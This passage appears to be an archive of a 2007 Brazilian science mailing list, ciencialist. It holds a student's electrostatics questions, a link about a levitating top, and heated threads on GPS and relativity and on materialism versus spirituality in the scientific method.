A matéria perde sua substancialidade. É caso particular da energia. A
Ciência conclui que o Universo Físico é essencialmente não-físico, a
ponto de dizer que seus componentes básicos são energia e intenção.

Surge a hipótese do observador absoluto.

Muitos esperam que, assim como o século 20 derrubou um a um os
alicerces da perspectiva materialista, fazendo ruir seu edifício, o
século 21 derrubará a parede de ferro existente entre a fé,
raciocinada, por óbvio, e o laboratório.

Chegamos pouco a pouco à equação: Conhecimento científico +
espiritualidade = sabedoria.



SUBJECT: Fw: duvidas_eletricidade
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 08:45

Quem quer ajudar nessas explicações?

agradeço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Josiane Carvalho
Para: leobarretos@uol.com.br
Enviada em: domingo, 18 de março de 2007 18:13
Assunto: duvidas_eletricidade


Boa tarde,
Meu nome é Josiane Carvalho, sou estudante de engenharia elétrica na Universidade Federal de São João del Rei - MG, estamos fazendo um relatório da disciplina Eletricidade e Magnetismo Experimental e temos algumas dúvidas, se puder no ajudar em relação, ficarei grata.

As dúvidas que temos são:
a.. Por que quando aproximamos uma régua de plástico eletrizada por atrito com pele de coelho de um papel comum e depois os colocamos em contato, o papel mantém-se, geralmente, aderido à régua eletrizada, enquanto se fizermos o mesmo procedimento com o alumínio, este costuma ser bruscamente repelido por ela, após tocá-la? Qual sofreu polarização e qual sofreu indução?

a.. Por que quando atritamos duas tiras de plástico entre si elas se repelem? Por que elas se fecham quando um objeto neutro é introduzido entre elas e voltam a se repelir mesmo que se encostem aos objetos interpostos (quais objetos sofreram indução e quais se polarizaram)? Por que as tiras se afastam mais, entre si, pela interposição da régua eletrizada? Por que elas se fecham pela aproximação da vela? Explique.

Aguardo informações.
Desde já agradeço a compreensao,
Um abraço,
Josiane Carvalho
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Pião Flutuante
FROM: "jvictor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 10:59

Lista,

Algo do tipo mostrado no link abaixo já passou por aquí.Era oLevitron, se não me engano. A Tecnocientista apresenta este, realmente interessante. Também explica o princípio de funcionamento. É tipo de brincadeira que provoca impulsos de construir, prá mostrar aos meninos. Léo e seu laboratório darão conta!

Sds,
Victor.


A mensagem está pronta para ser enviada com estes anexos de arquivo ou link:
Atalho para: http://tecnocientista.info/noticia_detalhe.asp?cod=4970

Observação: para se proteger de vírus de computador, os programas de email podem impedir o envio ou recebimento de alguns tipos de anexo de arquivo. Verifique as configurações de email para determinar como os anexos são manipulados.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: duvidas_eletricidade
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 11:33

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> -----Mensagem Original-----
> De: Josiane Carvalho
> Assunto: duvidas_eletricidade
> As dúvidas que temos são:
> a.. Por que quando aproximamos uma régua de plástico
> eletrizada por atrito com pele de coelho de um papel comum e depois
> os colocamos em contato, o papel mantém-se, geralmente, aderido à
> régua eletrizada, enquanto se fizermos o mesmo procedimento com o
> alumínio, este costuma ser bruscamente repelido por ela, após
> tocá-la? Qual sofreu polarização e qual sofreu indução?

O alumínio é condutor (não dos melhores, mas mm assim é capaz de
conduzir eletricidade a tensões elétricas modestas), isso significa q
seus elétrons movem-se com muita liberdade. O papel não é condutor,
seus elétrons basicamente estão presos às moléculas de celulose.

Questão então de pensar o q ocorre com os elétrons do papel e do
alumínio qdo em contato com um corpo eletrizado. O q isso significa em
termos de eletrização do papel e do alumínio. E o q cargas de sinais
iguais fazem entre si.

> a.. Por que quando atritamos duas tiras de plástico entre si elas se
> repelem? Por que elas se fecham quando um objeto neutro é
> introduzido entre elas e voltam a se repelir mesmo que se encostem
> aos objetos interpostos (quais objetos sofreram indução e quais se
> polarizaram)? Por que as tiras se afastam mais, entre si, pela
> interposição da régua eletrizada? Por que elas se fecham pela
> aproximação da vela? Explique.

Não entendi a pergunta.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: "jvictor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 11:59

Alberto,

Vou me imiscuir só um pouquinho.

Alberto: O Homero, por exemplo, parece querer
associar a funcionalidade de um GPS à veracidade da relatividade
moderna, e quero crer que existem muitos cientistas produtores de
conhecimento que não concordariam com ele, até mesmo dentre os
defensores da física moderna.

Victor: Em minha opinião, e pelo tanto que O Homero já se posicionou a respeito, não tenho dúvidas de que ele quis referir, o seguinte, nas poucas palavras que usou, e está correto:

-relógios marcam diferente, a depender do potencial gravitacional onde se encontra e do estado de movimento em que se encontra. Os relógios de um satélite numa dada órbita registram tempos de acordo com o potencial gravitacional associado à órbita e segundo sua velocidade ao longo daquela órbita. Físico nenhum, que conheça realmente física relativística, pode desconhecer esse fato básico e elementar. Se ao sistema GPS(conjunto de satélites) em órbita não for incorporado um corretor dessas diferenças temporais, tenha certeza de uma coisa: os alvos serão atingidos a kilômetros de distância, as previsões de chegada terão erros inadmissíveis, e muitos etcs. Sem os sistemas eletrônicos de correção das diferenças relativísticas de tempo, simplesmente o sistema GPS já teria entrado pela perna do pinto e saido pela do pato. E ele não entrou. Está aí, cada vez mais preciso.
Esse assunto já foi discutido neste fórum, você deve lembrar. Na ocasião, saí da área meramente teórica e busquei fornecer dados tecnológicos, o que foi desconsiderado e o assunto parou por alí, com a alegação(nem tão subliminar...) de que aqueles argumentos eram menos que isso: nada! E o assunto parou po aí.
Então, nesse sentido, os sistemas de controle eletrônicos, incorporados ao GPS, constituem, sim, mais uma forte e cara evidência de que tempo e espaço não coisas absolutas e independentes. Validam, pois a TR.
Não creio que alguém, físico moderno (não existem físicos modernos ou antiquados, existem apenas físicos) ou não, que tenha entendido, realmente, os meros dois postulados da relatividade, bem como o igualmente gigantesco princípo da equivalência, e por extensão, suas consequências, possa pensar diferente.
Estou devendo uma boa quantidade de retornos aos seus e-mails, sobre com o assunto poisson. Não o fiz por falta de consideração, isso eu lhe garanto. O motivo principal é o trabalho e a luta, dia a dia, para pagar a folha de pagamento e os impostos... Mas as comichações são grandes!. Mas tenho resistido...Mas, logo, logo, porei nossas conversas em dia. Espero.

Sds,
Victor.




----- Original Message -----
From: Alberto Mesquita Filho
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, March 20, 2007 11:02 AM
Subject: [ciencialist] Re: Sobre o Método Cientifico


----- Original Message -----
From: "Chicao Valadares"
Sent: Sunday, March 18, 2007 11:14 AM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> Alberto, isso que voce escreveu é verdade mesmo??
> Então a coisa é mais séria que eu pensava... Talvez seja correto
> dizer que o que se propaga como ciência por aí seja
> um "fundamentalismo cético"(gostei desse termo :p).

"Quem propaga a ciência por aí" em geral não é um cientista produtor
de conhecimentos científicos mas, via de regra, um estudioso e/ou
amante dos avanços científicos. O Homero, por exemplo, parece querer
associar a funcionalidade de um GPS à veracidade da relatividade
moderna, e quero crer que existem muitos cientistas produtores de
conhecimento que não concordariam com ele, até mesmo dentre os
defensores da física moderna. Não sei até que ponto isso serviria
para exemplificar o que você chamou por "fundamentalismo cético", se
é que entendi a locução. Com respeito a esses defensores da física
moderna acima citados, repito o que escrevi no artigo original
[Fonte: http://ecientificocultural.com/ECC2/artigos/metcien3.htm]:
"Certos ou errados, neste caso, os físicos modernos [...] fizeram uma
opção contrária à norma falsificacionista, e não há como criticá-los
por essa conduta, a menos que se pretenda atribuir ao
falsificacionismo uma qualidade que ele não possui: a de estabelecer
critérios absolutos de veracidade..."

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Pião Flutuante
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 12:07

Com certeza já deram um olhadinha em:

http://www.feiradeciencias.com.br/sala13/13_36.asp

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "jvictor" <jvoneto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 21 de março de 2007 10:59
Assunto: [ciencialist] Pião Flutuante


Lista,

Algo do tipo mostrado no link abaixo já passou por aquí.Era oLevitron, se não me engano. A Tecnocientista apresenta este, realmente interessante. Também explica o princípio de funcionamento. É tipo de brincadeira que provoca impulsos de construir, prá mostrar aos meninos. Léo e seu laboratório darão conta!

Sds,
Victor.


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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 12:45

Não há alguem na lista que seja da área e que discorde
de nós???
Seria bom um debate nesse sentindo....
Quanto a discordância em relação aos modelos do
Alberto Mesquita, Homero não me disse qual era o
problema.
Eu acredito que é possível uma exposição resumida do
problema sem entrar com profundidade em detalhes
técnicos.


--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Chicao
> Valadares
> > A teoria de freud é falseável sim simplesmente
> porque
> > eu posso ver seus efeitos no mundo e medir a taxa
> de
> > acertos.
>
> Eu questiono mais a capacidade da psicanálise fazer
> previsões do q
> propriamente o caráter não falseável da teoria.
>
> []s,
>
> Roberto Takata
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 14:33

Olá Takata!

Takata >>> Idem para um deus-realidade. (Ou podemos
chamar de saci-realidade, unicornio-realidade,
curupira-realidade.)

--- Takata, por favor: "chame do que quiser". É
basicamente isto que tenho dito em todas as minhas
respostas a este tópico "chame do que quiser", ou
seja:

--- Não se prenda a semantica, pois quem acaba preso é
vc e não a semantica.

--- Joguem as pedras que quiserem, não me importo em
fazer este trabalho “sujo” e básico. Sei da
importancia dele para a desinversão da ciencia, para a
quebra do paradigma materialista. Note, voce reclama
do seguinte:

Takata >>> Toda vez q meteram deus no meio, nada disso
foi possivel e ateh foi destruido. Deixem deus fora
das ciencias. Deixem as ciencias fora das religioes.

--- Takata, por favor, considere o que vou dizer:

--- O materialismo não está na ciencia, está no
cientista.

--- Meu debate aqui com vc e com os outros não é,
nunca foi, e nunca será sobre ciencia. Pra fazer
ciencia eu não preciso de ninguém aqui. Assim como um
musico não precisa de outro pra fazer musica, ele
apenas pega o instrumento e faz, eu apenas uso o
método cientifico e faço. Meu debate aqui é sobre o
“método cientifico”. Sempre foi e sempre será este.
Porque?

--- Porque: Quem estabelece a “definição” de método
cientifico não é ciencia: é o cientista.

--- Entende isto? Concorda com isto? Sendo assim,
basicamente o que estou dizendo aqui é:

--- A definição atual de “médoto cientifico” é
materialista e não tem necessidade de ser. Só é assim
porque os cientistas atuais que tem o “poder de
determinar” o que é “cinetifico e não-cientifico”
ignoram o que é “fazer ciencia”. Quando tomarem
consciencia, isto mudará. Quando o poder mudar de
mãos, isto mudará também. Em breve, umas das duas
coisas vai acontecer, se não acontecer as duas ao
mesmo tempo, o que será melhor ainda pro avanço da
ciencia humana.

--- Sei que dizer isto, com todas as letras, em um
lugar onde as pessoas passaram anos e anos contruindo
um apego ao conhecimento e poder adquirido, é pedir
pra levar pedrada, ir pra fogueira, e ser tachado de
ibecil pra baixo, mas considere o seguinte:

--- Existe muitos musicos que fazem musica sem ter
noção do que estão fazendo. São pessoas que apenas se
tornaram proeficientes em usar um instrumento. Pois
lhe afirmo que o mesmo se dá com os cientistas
materialistas, são pessoas que se tornaram
proeficientes em usar um instrumento, mas não tem
consciencia do que estão fazendo. Este instrumento é a
mente, e os processos dos quais eles usam mais não tem
consciencia são os processo do pensamento.

--- Pense, que ciencia poderia existir se não
existisse antes o processo do pensamento? Sendo assim,
o que é fazer ciencia? Eu sei. Vc sabe? É claro que vc
sabe, pois se não soubesse não teria como fazer
ciencia, mas vc não sabe que sabe. Toda minha
disposição em conversa com vc e qualquer outra pessoa
sobre este assunto é apenas servir de espelho pra vc a
pessoas tome consciencia disto, desta inversão
materialista. E não tem nada de: eu sou melhor que vc!
Eu tenho vc não tem! Nada disto. Estamos todos no
mesmo barco. Mas quanto mais concientes forem os
navegantes mais consciente é a viagem do navio. Este é
o único beneficio que recebo, mas recebemos todos.

Takata >>> Universo - sistema q engloba todo o
espaco-tempo e o q nele existe, composto (em escala
macroscopica) de partes causalmente conectadas.

--- Ótimo. Agora pergunte a si mesmo: se isto não é
uma realidade material, mas meu mapa metal do
universo, então, o que é o universo?

Takata >>> Vida - propriedade de entidades redutoras
puntuais de entropia, cuja atividade tenda a produzir
novas copias de si mm.

--- Ótimo. Agora pergunte a si mesmo: se isto não é
uma realidade material, mas meu mapa metal da vida,
então, o que é a vida?

Takata >>> Deus - ser transcendente, consciente e q
supostamente teria criado o universo ou, de modo mais
generico, uma forca superior.

--- Ótimo. Agora pergunte a si mesmo: Agora pergunte a
si mesmo: se isto não é uma realidade material, mas
meu mapa metal de deus, então, o que é deus?

Siceramente
ferrari




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SUBJECT: Re: [ciencialist] Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 14:48

Olá Homero!

Homero >>> Ninguém aprende lógica "no berço". O termo
define um conjunto de proposições, uma ferramenta, bem
estruturada, e não se confunde com percepções internas
como "eu existo".

--- Pense bem e verá que começa no berço sim. Mas este
é meu limite, apontar, ver é com vc.

Homero >>> Sua noção desse assunto é incorreta...

Não é incorreta, é diferente. Mas saiba que a sua está
contida na minha. Ou seja, eu te entendo, embora vc
não me entenda. E pelo visto, nem quer entender.

Homero >>> Deus, seu deus, ou a divindade que
preferir, não tem evidências de existir. Uma força não
intencional, poderosa, NÃO se encaixa no conceito,
qualquer conceito, de deus.

--- NÃO! Esta ai é a SUA definição de deus, não a
minha. Nunca lhe dei a minha. Tá vendo como vc se
apega a semantica? Vc se esqueceu de me perguntar qual
é minha definição de deus e já foi me julgando de cabo
a rabo! Observe este seu comportamento, se pergunte
porque faz isto, isto também é um tipo de ciencia, se
chama autoconhecimento (ciencia de si).


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: P/ Luiz: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 15:04

Oi Luiz!

Luiz >>> essas suas respostas são as mais típicas
respostas das tirinhas de horóscopos, auto-ajuda etc.

--- Hehehehe... Luiz, sua lógica de argumentação não
muda mesmo. Permita-me descreve-la:

1) humilhar o adversário com ironias
2) mostrar com isto que sou "o cara"
3) fugir pela tangente.

--- Hehehehehe... Até que vc engana um montão de gente
com isto, vc é até professor. A pergunta fundamental
aqui é a seguinte: você consegue enganar a si mesmo
com ela? Não precisa me responder, pois é uma resposta
que não me interressa.

Luiz >>> Quer moleza? Vá tomar sopa de hidrogênio!

--- Hahahahehehehahahehehe... Quer um conselho de quem
pratica literatura. Pratique literatura também. Sério.
Seu jeito de escrever é literario, é criativo.

Luiz >>> Quem é esse "ele" para eu lhe dirigir a
pergunta? Que resposta vazia!

--- Eu que lhe pergunto: quem é deus? O que é deus?
Como é deus? Quem é deus de verdade? Quem é deus na
realidade? Eu sei! Vc sabe? Se eu lhe disser e vc
acreditar estará agindo apenas como um crente, é isto
que vc quer, ser um crente?

Luiz >>> Sim, eu ponho meu cérebro para funcionar e
"ele" leva os créditos ... que safado!

--- Ah tá! Se é vc que faz seu cérebro funcionar então
me diga: como vc consegue isto? Pra começar, me diga:
quem é vc?


sinceramente
ferrari




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SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 15:07

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Takata, por favor: "chame do que quiser". É
> basicamente isto que tenho dito em todas as minhas
> respostas a este tópico "chame do que quiser", ou
> seja:

Então eu chamo de realidade. Colocar a palavra deus na frente não traz
nenhuma informação.

> Takata >>> Toda vez q meteram deus no meio, nada disso
> foi possivel e ateh foi destruido. Deixem deus fora
> das ciencias. Deixem as ciencias fora das religioes.
>
> --- Takata, por favor, considere o que vou dizer:
>
> --- O materialismo não está na ciencia, está no
> cientista.

Não importa. O q importa é q toda vez q meteram deus no meio da
ciência nenhum avanço foi obtido. O q é um forte indício para manter
essa idéia fora das ciências.

> --- Meu debate aqui com vc e com os outros não é,
> nunca foi, e nunca será sobre ciencia.

Esta é uma lista de ciências.

> --- Pense, que ciencia poderia existir se não
> existisse antes o processo do pensamento? Sendo assim,
> o que é fazer ciencia?

Fazer ciência de modo bem resumido é produzir conhecimento por meio de
elaboração de hipóteses acerca de um fenômeno e testes dessas
hipóteses (por meio de experimentação, cálculo, simulações,
modelagens, observações, análises e outros processos). (Na prática vai
incluir coisas como participar de congressos, elaborar relatórios,
brigar com os fornecedores, suplicar para os pareceristas, publicar
artigos...)

> Takata >>> Universo - sistema q engloba todo o
> espaco-tempo e o q nele existe, composto (em escala
> macroscopica) de partes causalmente conectadas.
>
> --- Ótimo. Agora pergunte a si mesmo: se isto não é
> uma realidade material, mas meu mapa metal do
> universo, então, o que é o universo?

Vc pulou pelo menos uma parte. Antes vc precisa mostrar q isso é
apenas um mapa mental.

[]s,

Roberto Takata



SUBJECT: Re: Alberto: Sobre o Método Cientifico
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 15:09

Olá Alberto!

Alberto >>> "Quem propaga a ciência por aí"

--- Ao meu ver, não se propaga ciencia, se propaga
teorias. A ciencia é como a musica, existe. O problema
do método cientifico é um problema emocional, acredite
se quiser. Os cientistas são emocionalemnte apegados
ao materialismo.


sinceramente
ferrari





--- Alberto Mesquita Filho <albmesq@uol.com.br>
escreveu:

> ----- Original Message -----
> From: "Chicao Valadares"
> Sent: Sunday, March 18, 2007 11:14 AM
> Subject: Re: [ciencialist] Re: Sobre o Método
> Cientifico
>
> > Alberto, isso que voce escreveu é verdade mesmo??
> > Então a coisa é mais séria que eu pensava...
> Talvez seja correto
> > dizer que o que se propaga como ciência por aí
> seja
> > um "fundamentalismo cético"(gostei desse termo
> :p).
>
> "Quem propaga a ciência por aí" em geral não é um
> cientista produtor
> de conhecimentos científicos mas, via de regra, um
> estudioso e/ou
> amante dos avanços científicos. O Homero, por
> exemplo, parece querer
> associar a funcionalidade de um GPS à veracidade da
> relatividade
> moderna, e quero crer que existem muitos cientistas
> produtores de
> conhecimento que não concordariam com ele, até mesmo
> dentre os
> defensores da física moderna. Não sei até que ponto
> isso serviria
> para exemplificar o que você chamou por
> "fundamentalismo cético", se
> é que entendi a locução. Com respeito a esses
> defensores da física
> moderna acima citados, repito o que escrevi no
> artigo original
> [Fonte:
>
http://ecientificocultural.com/ECC2/artigos/metcien3.htm]:
> "Certos ou errados, neste caso, os físicos modernos
> [...] fizeram uma
> opção contrária à norma falsificacionista, e não há
> como criticá-los
> por essa conduta, a menos que se pretenda atribuir
> ao
> falsificacionismo uma qualidade que ele não possui:
> a de estabelecer
> critérios absolutos de veracidade..."
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é
> uma carga elétrica
> coulombiana e a Terra se move. E a história se
> repetirá.
>
>




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SUBJECT: Re: [ciencialist] Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 15:40

Olá Ferrari,

>
> Não é incorreta, é diferente. Mas saiba que a sua está
> contida na minha. Ou seja, eu te entendo, embora vc
> não me entenda. E pelo visto, nem quer entender.
>

Você é um artista, está no lugar errado! :-)

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: P/ Luiz: Sobre o Método Cientifico - ad infinitum
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 15:42

Olha Ferrari, sorry, nunca li tantas imbecilidades assim agrupadas. Vc nos lembra um outro 'listeiro' que, especializado em filosofia de buteco, só sabia perguntar ... nunca responder!
Chega! desisto!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 21 de março de 2007 15:04
Assunto: Re: [ciencialist] Re: P/ Luiz: Sobre o Método Cientifico - ad infinitum


Oi Luiz!

Luiz >>> essas suas respostas são as mais típicas
respostas das tirinhas de horóscopos, auto-ajuda etc.

--- Hehehehe... Luiz, sua lógica de argumentação não
muda mesmo. Permita-me descreve-la:

1) humilhar o adversário com ironias
2) mostrar com isto que sou "o cara"
3) fugir pela tangente.

--- Hehehehehe... Até que vc engana um montão de gente
com isto, vc é até professor. A pergunta fundamental
aqui é a seguinte: você consegue enganar a si mesmo
com ela? Não precisa me responder, pois é uma resposta
que não me interressa.

Luiz >>> Quer moleza? Vá tomar sopa de hidrogênio!

--- Hahahahehehehahahehehe... Quer um conselho de quem
pratica literatura. Pratique literatura também. Sério.
Seu jeito de escrever é literario, é criativo.

Luiz >>> Quem é esse "ele" para eu lhe dirigir a
pergunta? Que resposta vazia!

--- Eu que lhe pergunto: quem é deus? O que é deus?
Como é deus? Quem é deus de verdade? Quem é deus na
realidade? Eu sei! Vc sabe? Se eu lhe disser e vc
acreditar estará agindo apenas como um crente, é isto
que vc quer, ser um crente?

Luiz >>> Sim, eu ponho meu cérebro para funcionar e
"ele" leva os créditos ... que safado!

--- Ah tá! Se é vc que faz seu cérebro funcionar então
me diga: como vc consegue isto? Pra começar, me diga:
quem é vc?


sinceramente
ferrari




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SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 16:29

----- Original Message -----
From: "jvictor"
Sent: Wednesday, March 21, 2007 11:59 AM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

Alberto (msg anterior): O Homero, por exemplo, parece querer associar
a funcionalidade de um GPS à veracidade da relatividade moderna, e
quero crer que existem muitos cientistas produtores de conhecimento
que não concordariam com ele, até mesmo dentre os defensores da
física moderna.

Victor: [...] Se ao sistema GPS(conjunto de satélites) em órbita não
for incorporado um corretor dessas diferenças temporais, tenha
certeza de uma coisa: os alvos serão atingidos a kilômetros de
distância, as previsões de chegada terão erros inadmissíveis, e
muitos etcs. Sem os sistemas eletrônicos de correção das diferenças
relativísticas de tempo, simplesmente o sistema GPS já teria entrado
pela perna do pinto e saido pela do pato. E ele não entrou. Está aí,
cada vez mais preciso.

Alberto: Sim, mas isso não vai contra o que afirmei (reproduzido
acima). Você está incorrendo no mesmo erro apontado e distorcendo --
e/ou interpretando a sua maneira-- a minha afirmação. Para você "a
funcionalidade de um GPS" parece ser prova absoluta da veracidade da
relatividade moderna. Nem todos pensam assim, até mesmo entre os
defensores da física moderna.

Victor: Então, nesse sentido, os sistemas de controle eletrônicos,
incorporados ao GPS, constituem, sim, mais uma forte e cara evidência
de que tempo e espaço não coisas absolutas e independentes.

Alberto: Na sua ingênua opinião do que seja espaço e tempo absolutos.
Aliás, já discutimos bastante isso e você parece fazer questão de
ignorar a importância do conceito de movimento absoluto e fica por aí
a supervalorizar aquilo que você concebe como espaço e tempo
absolutos "newtonianos". Como já disse anteriormente, são grandezas
de pouca importância científica e muita importância teleológica (não
confundir com teológica, se bem que sob certos aspectos a teleologia
induza à teologia). Em dúvida, leia aquele artigo que escrevi e
relacionado ao tema (já indiquei inúmeras vezes).

Victor: Validam, pois a TR.

Alberto: Sim, mas não invalidam o conceito de movimento absoluto
newtoniano. Em outras palavras, existe mais de uma física a explicar
a funcionalidade dos GPSs, e não apenas aquela que você conhece como
física relativística moderna (ou TR).

Victor: Não creio que alguém, físico moderno (não existem físicos
modernos ou antiquados, existem apenas físicos)...

Alberto: O que seria, na sua opinião, "físicos antiquados"? Seria o
antônimo daquilo que você considera como os "inexistentes físicos
modernos"? Se sim, diria que não dá nem para discutir o assunto. Sem
duvida, todos aqueles que militam na área da física deveriam ser
considerados como físicos, mas se existe algum preconceito quero crer
que não é da parte daqueles que não aceitam a veracidade da
chamada "física moderna", mas sim daqueles a considerarem como
antiquados todos os críticos da esdrúxula física moderna. Aliás, se
você pesquisar no Google a locução "física moderna" você será
remetido para quase 500 mil sites, alguns escritos por eminentes
físicos da atualidade (e que, por força de expressão, poderiam ser
chamados por "físicos modernos", o que não significa dizer que não
sejam físicos). As livrarias também estão repletas de livros com o
cognome "física moderna". As universidades idem, mantém há quase um
século disciplinas cognominadas "física moderna" e portanto a
denominação não é minha, mas dos próprios acadêmicos. Pode parecer
pretensão minha, mas diria que os físicos "não-modernos", ou aqueles
que se opõem ao que é ensinado nas disciplinas de "física moderna"
(ou então, aqueles que você qualifica como os "inexistentes físicos
antiquados"), constituem o germe daquilo que nos próximos 100 anos
virá a desabrochar sob a denominação "física pós-moderna".

Victor: [...] ou não, que tenha entendido, realmente, os meros dois
postulados da relatividade, bem como o igualmente gigantesco princípo
da equivalência, e por extensão, suas consequências, possa pensar
diferente.

Alberto: Quanto ao princípio da equivalência já discutimos bastante o
assunto e a discussão poderá ser acompanhada a partir de
http://ecientificocultural.com/ECC2/Dialogos/rgpca1.htm . Perceba,
através dos debates aqui realizados em dezembro de 2000, que existe
também algumas visões "pós-modernistas" a respeito do princípio da
equivalência, e não apenas aquela que você aprendeu nos meios
acadêmicos.

Victor: Estou devendo uma boa quantidade de retornos aos seus e-
mails, sobre com o assunto poisson. Não o fiz por falta de
consideração, isso eu lhe garanto. O motivo principal é o trabalho e
a luta, dia a dia, para pagar a folha de pagamento e os impostos...
Mas as comichações são grandes!. Mas tenho resistido...Mas, logo,
logo, porei nossas conversas em dia. Espero.

Alberto: Como já disse, não há pressa, se bem que eu ache que a
subdivisão da thread em seis subthreads tornou o debate por demais
redundante.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: Alberto: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 16:52

----- Original Message -----
From: "Ferrari"
Sent: Wednesday, March 21, 2007 3:09 PM
Subject: [ciencialist] Re: Alberto: Sobre o Método Cientifico

> > Alberto >>> "Quem propaga a ciência por aí"

> Ao meu ver, não se propaga ciencia, se propaga teorias.

Isso é uma força de expressão, válida dentro do contexto em que foi
emitida. Como diria Popper, "se não tivesse havido uma torre de
Babel, teríamos tido de construir uma" [vide
http://br.groups.yahoo.com/group/ciencialist/message/61613 ].

> A ciencia é como a musica, existe. O problema do método cientifico
é um problema emocional, acredite se quiser.

Neste caso vou remetê-lo a um parágrafo que escrevi recentemente [o
artigo todo poderá ser lido em
http://ecientificocultural.com/ECC2/FilCien/metcien01.htm ]:

"...o cientista, consciente ou inconscientemente, quer queira, quer
não queira, ao produzir conhecimentos científicos utiliza-se do
método científico, cabendo ao estudioso em teoria do conhecimento
decodificar ou decifrar esse método. A ciência, enquanto tal, evolui
independentemente da existência do método, da mesma maneira que os
planetas circulam ao redor do Sol, indiferentes à existência ou não
das leis da mecânica ou da gravitação. Obviamente o método poderá
interessar ao pedagogo ou a todos aqueles que se preocuparem com a
formação de pesquisadores, bem como aos cientistas que pretenderem
aprimorar sua maneira de fazer ciência. Bem ou mal estes cientistas
já utilizam o método de uma maneira muito semelhante àquela
apresentada pelo músico que toca um instrumento por ouvido. Nota-se,
no entanto, que a maioria daqueles que produziram ciência de alta
qualidade, preocuparam-se, em alguma etapa de suas vidas, em aprender
metodologia científica e/ou em tecer considerações sobre o método que
empregavam."

> Os cientistas são emocionalemnte apegados ao materialismo.

Vide o que penso a respeito em
http://ecientificocultural.com/ECC2/Dialogos/cmee.htm

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Re: P/ Luiz: Sobre o Método Cientifico - ad infinitum
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 16:53

Concordo Luiz! O pior é que ele deve realmente achar o que diz profundo... e
até agora não disse nada.


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 21, 2007 3:42 PM
Subject: Re: [ciencialist] Re: P/ Luiz: Sobre o Método Cientifico - ad
infinitum


Olha Ferrari, sorry, nunca li tantas imbecilidades assim agrupadas. Vc nos
